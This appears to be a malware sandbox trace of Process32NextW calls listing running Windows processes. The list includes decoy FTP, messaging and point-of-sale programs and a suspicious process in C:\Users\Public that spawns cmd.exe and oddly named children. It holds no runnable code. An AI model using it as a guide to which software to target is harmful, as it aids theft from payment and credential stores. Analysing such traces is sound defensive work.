	[0248.647] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0248.651] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0248.653] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.656] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.659] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0248.661] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0248.664] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0248.667] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0248.669] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0248.672] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0248.674] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0248.677] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0249.180] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0249.183] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0249.186] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0249.188] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0249.191] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0249.195] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0249.197] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0249.200] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0249.203] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0249.205] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0249.208] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0249.211] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0249.214] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0249.216] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0249.219] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0249.222] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0249.224] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0249.663] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0249.666] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0249.668] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0249.671] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0249.674] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0249.676] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0249.700] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0249.703] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0249.705] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0249.708] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0249.711] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0249.713] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0249.716] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0249.718] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0249.721] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0249.723] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0250.159] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0250.162] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0250.165] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0250.168] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0250.171] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0250.173] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0250.176] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0250.179] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0250.181] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0250.184] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0250.187] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0250.190] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0250.492] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0250.495] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0250.498] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xacc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0250.501] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0250.503] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0250.506] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0250.509] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0250.511] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0250.514] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0250.517] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0250.520] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="crime rd occupied.exe")) returned 1
	[0250.522] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="camcorders.exe")) returned 1
	[0250.525] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="night.exe")) returned 1
	[0250.528] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="away.exe")) returned 1
	[0250.531] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0250.533] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0250.953] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="CusersPublicDHrQU.exe")) returned 1
	[0250.956] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb6, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SHyuNkHTvlan.exe")) returned 1
	[0250.959] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd6, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="SawWHUYCUlan.exe")) returned 1
	[0250.961] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x434, pcPriClassBase=8, dwFlags=0x0, szExeFile="icacls.exe")) returned 1
	[0250.964] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0250.967] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1
	[0250.969] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0250.972] Process32NextW (in: hSnapshot=0x1e20, lppe=0x21cf2f0 | out: lppe=0x21cf2f0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x167c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb98, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
